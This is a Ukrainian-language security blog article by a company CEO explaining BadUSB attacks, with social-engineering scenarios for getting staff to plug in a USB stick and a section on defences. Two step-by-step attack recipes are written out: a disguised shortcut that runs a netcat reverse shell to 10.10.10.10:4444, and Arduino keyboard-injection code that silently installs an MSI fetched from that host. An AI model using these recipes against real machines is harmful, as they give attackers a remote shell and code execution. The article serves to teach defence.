BadUSB. Що це і як захиститись.

Автор: Андрій Михалюк, CEO CoreWin

Думаю, більшість з нас чули пісню Billie Elish «Bad Guy». Так от, в мене вона грала в голові весь час, поки готував матеріал для цієї статті, мусив навіть увімкнути її в навушниках, щоб грала на фоні, бо зовсім не міг зосередитись. А все тому, що цього разу пишу вам про такий тип атаки, як BadUSB.

Вперше, BadUSB були виявлені ще в 2006 році. В ті часи комп’ютери автоматично запускали програми з компакт-дисків, коли вони вставлені в дисковод. Ця функція стала основою для однієї з попередніх версій BadUSB під назвою USB Switchblade. Switchblade може виглядати на комп’ютері так, ніби це CD-ROM, що означає, що будь-які програми, збережені всередині пристрою, запускатимуться автоматично та виконуватимуть корисні навантаження.

У 2014 на конференції Black Hat в Лас Вегасі Karsten Nohl представив всьому світу робочий прототип BadUSB – і про цей тип атаки заговорили всі. А через якийсь час Adam Caudill та Brandon Wilson розібрали код прототипу і опублікували його на GitHub. З цього моменту стало зрозуміло: цей тип атаки стане масовим, лише питання часу, коли саме це станеться.

  • Запуск скрипта прямо з флешки, без дозволу користувача (як правило, через недостатній рівень налаштувань прав на ПК. Привіт тим, хто сидить під адмінськими правами для повсякденної діяльності на своєму комп’ютері). Далі – «скрипт».
  • Використання функціонала мультидрайверності флеш-носіїв, тобто здатність через цей фізичний порт підключити і клавіатуру, і мишку, і накопичувач (купу всього іншого теж). Далі – «драйвер».

З першим боротись легше, з другим складніше, але обидва не є чудо-зброєю хакерів, від них можна захиститись.

Приклади сценаріїв

Суть сценарію – під’єднати флешку до ПК. Вона досягається соціальною інженерією. Коли чуєте це слово, висновок один – комплекс організаційних заходів. Без цього ніяк. Потрібно навчати співробітників основам кіберграмотності, вводити інструкції, правила використання зовнішніх пристроїв і так далі. Про ці методи можна писати багато, на сотні сторінок, тому зосереджуватись на цьому не буду, але наведу декілька сценаріїв, на які натрапив сам.

  • Атака FIN7 (2020), організована російською групою хакерів, керівником якої був українець Федір Гладир (відбуває покарання в США). Суть сценарію: зловмисники розіслали поштою в офіси США «новорічні подарунки». В листі були брендована флешка Best Buy і сфабрикований сертифікат на подарунок з інструкціями: вставте флешку в ПК для вибору і отримання подарунка. Учасники угруповання, які реорганізувались, повторили атаку в 2022 за майже ідентичним сценарієм.

Далі без гучних кейсів.

  • «Парадоксальний». Парадоксальний він, бо досі є робочим за відгуками колег з форумів. Суть проста – підкинути флешку в офісний центр. Бажано в місце суспільного користування. Туалет, їдальня, коридори. Причому зробити так, щоб флешка виглядала, як випадково загублена. Часто знаходиться хтось, кому або цікаво що на ній, або хто захоче відформатувати і забрати накопичувач собі у використання. Інколи флешку забирає охорона і підключає її до свого ПК, щоб перевірити, чия це флешка, щоб знати, кому повернути.
  • «Внутрішній агент». Цей кейс працюватиме, тільки якщо організацію таргетують. Бо цей сценарій потребує ретельної підготовки. Ідея така: спеціаліст потрапляє в штат. Наприклад, джун на випробувальний, чи стажер. І у досвідченого спеціаліста з відділу просить скинути на флешку якісь матеріали. Перша флешка глючить, робиться вигляд, що вона якась бита, далі дається друга, робоча, на неї скидаються навчальні матеріали. А перша флешка якраз була BadUSB.
  • «Лінивий». Сценарій лінивий не тому, що зловмисник ліниться, а тому що недостатньо протоколів безпеки, або вони не виконуються. Приміром: ЕЦП виписуються в податковій на власну флешку. Приходиш з флешкою у безпечний кабінет, закрите приміщення, отримуєш ключ на свою флешку. Заразити такий ПК через BadUSB – не складно. Або, наприклад, підрядник приносить на ресепшн документи, каже: «Ой, забув роздрукувати. А роздрукуйте з флешки». І так далі. Ідея потрапити фізично в офіс, представившись клієнтом чи підрядником, і за допомогою правдоподібної брехні, або використовуючи небезпечні наявні процедури, вставити флешку в ПК співробітника. Про публічні місця використання ПК і мережі взагалі мовчу, як і точки виходу в Інтернет в поштовому відділені.

Технології

Як писав вище, є дві концептуальні технології атаки (приклади базові, і зрозуміло, що в реальному світі є величезна їх варіація):

«Скрипт»

1) Вставляємо флешку в ПК. В корні створюємо папку, назва будь-яка, наприклад «payload», і закидаємо виконуваний файл netcat – nc64.exe.

2) Пишемо bat файл (важливо, щоб скрипт був «рідний» для ОС, яку таргетуємо. Тут – Windows). Наприклад, з таким кодом:

nc64.exe 10.10.10.10 4444 -e powershell

Де 10.10.10.10 – це заздалегідь підготовлений сервер, а 4444 – відповідний порт комунікації з ним.

3) Зберігаємо файл, змінюючи розширення на .cmd. Наприклад, run_exploit.cmd.

4) Робимо папку прихованою: Властивості папки – Загальні – Прихований, за замовчуванням такі папки у більшості користувачів залишаються прихованими, щоб їх бачити, треба змінити налаштування, що більшість користувачів не робить.

5) Створюємо ярлик файлу скрипта і зберігаємо його в корінь флешки. Варто назвати його якось спокусливо чи непідозріло для користувача. Наприклад, назвемо ярлик «passwords». Але ця назва має залежати від кейсу. Приміром, якщо ми передаємо флешку поштою в відділ документообігу, можемо назвати «Договір».

6) Далі маскуємо іконку, щоб вона виглядала непідозріло. Змінюємо піктограму ярлика: Властивості – Ярлик – Змінити піктограму тощо. Наприклад, вибираємо піктораму звичайної папки.

Вийде десь так:

7) Все, відправляємо флешку поштою, чекаємо відкриття каналу зв’язку з піднятим сервером. Про сервер тут писати не буду, щоб не давати повні інструкції для кейсу.

«Драйвер»

!УВАГА! Цей варіант знайдений «за порєбріком» тому дуже ймовірно, що він якраз зараз використовується по інфраструктурі нашого регіону.

1) Збирається апаратна частина. Для цього у корпус флешки вставляється так звана «плата розробника», наприклад ATtiny чи ATmega, є навіть готові рішення, як Arduino:

Залишається знайти правдоподібний USB-корпус чи розібрати готову флешку і змінити «начинку». Це важче, бо в процесі корпус часто ламається.

Зноска: для пентест перевірки такого сценарію є готові набори, наприклад Rubber Ducky USB.

Ці плати мають змогу емулювати контролер як USB-накопичувача, так і HID-пристрою. Приміром, клавіатури. В цьому прикладі розглянемо саме її, хоча мені траплялись і інші варіанти.

2) Програмну частину ми розглянемо Arduino, але також пам’ятаємо: це один з прикладів, і це не єдиний інструмент. В студії розробки застосовуємо наступний код для виконання при підключенні до ПК.

У прикладі навмисно упущені деталі роботи з Arduino, і він лише для Windows, але можна зробити універсальну конфігурацію для Windows, Linux, Mac.

Натискаємо Win+R і відкриваємо з’єднання з сервером 10.10.10.10 по порту 4444 на встановлення пакета 1.msi (заздалегідь підготовлений на сервері):

void windows_run() {

    Keyboard.press(KEY_LEFT_GUI);

    Keyboard.press('r');

    delay(250);

    Keyboard.releaseAll();

    Keyboard.print("msiexec /i http:// 10.10.10.10:4444/1.msi /quiet");

    delay(100);

    Keyboard.write(KEY_RETURN);

}

Повтор коду вище:

void rce() {

    windows_run();

    delay(100);

}

Зміна мови, оскільки у більшості ПК стоїть багатомовність, а нам важливо ввести команди саме англійською. Перемикаючи мови і вводячи послідовно одні і ті ж команди методом простого перебору розкладок клавіатури.

void switchLang() {

    Keyboard.press(KEY_LEFT_SHIFT);

    Keyboard.press(KEY_LEFT_ALT);

    delay(100);

    Keyboard.releaseAll();

    Keyboard.press(KEY_LEFT_SHIFT);

    Keyboard.press(KEY_LEFT_CTRL);

    delay(100);

    Keyboard.releaseAll();

}

Ну і код на виконання при підключенні:

void setup() {

    Keyboard.begin();

    delay(2000);

    rce();

    switchLang();

    rce();

  }

Як захиститися?

Захист можна розділити на умовний «до» і «після». Тобто заходи і засоби унеможливлення увімкнення флешки чи запуску і заходи для зупинки атаки, якщо код все ж запустився. Думаю, не варто пояснювати, чому захист «до» є об’єктивно пріоритетним. Якщо коротко – краще не допускати битву, особливо не знаючи, з яким арсеналом ворог ступить на її поле, а інструментарій зловмисників не стоїть на місці і постійно розвивається, включно є ймовірність zero-day загрози.

Методи «до»:

  • Організаційні методи: комунікація зі співробітниками про те, що важливо не вмикати невідомі флешки у ПК компанії, підвищення загальної кіберграмотності. Організаційно унеможливити прийом документації на флешках, а у випадку необхідності прийняти і опрацювати флешку, файли відкривати в ізольованому ПК в карантині (в умовному sandbox).
  • Наявність корпоративного рішення Device Control, що здатне заблокувати драйвери зовнішніх пристроїв і надати методи масового управління зовнішніми пристроями. Наприклад, інвентаризація наявних периферійних пристроїв, створення білих списків пристроїв по ID пристрою, блокування пристроїв по ПК, користувачу тощо.

Методи «після»:

  • Програмні методи групового адміністрування. Якщо це Windows – наявність правильно налаштованих групових прав і політик. Приміром, з нашого кейсу – заборона на виконання команд і запуск програм, описаних вище (netcat, powershell), відкриття з’єднання по нетипових портах «4444» чи вебз’єднань без SSL або з сертифікатом SSL низького рівня довіри.
  • Наявність нормального і оновленого до останніх баз сигнатур антивірусу.
  • Наявність SIEM та XDR з прописаними правилами і скриптами реакції на інцидент.
  • Наявність мережевих засобів зупинки розповсюдження зараження між розподіленими внутрішніми мережами, таких як Next Generation Firewall.

Підсумки

Мабуть, один з двох найголовніших висновків, які можна зробити з цієї історії – це не бути легковажним. Зловмисники вчаться постійно, а отже вчитись треба постійно і нам з вами. Те, що було безпечно декілька років тому, не гарантовано безпечно зараз.

І другий висновок – працюйте з колегами не з відділів ІТ-безпеки. Як через керівництво і офіційні процедури, так і не офіційно. Розказуйте про важливість особистої уважності при роботі з ПК як формально, так і неформально з колегами.

Приміром, зробіть таку флешку і скрипт, який запустить блокнот і напише щось смішне чи скачає і відкриє мем на робочому столі. Пройдіться по різних відділах і покажіть це як прикол, а потім скажіть, що так само на флешці може бути цілком небезпечний скрипт. Імпровізуйте, не зупиняйтесь, і будьте в безпеці.

Підписатися на новини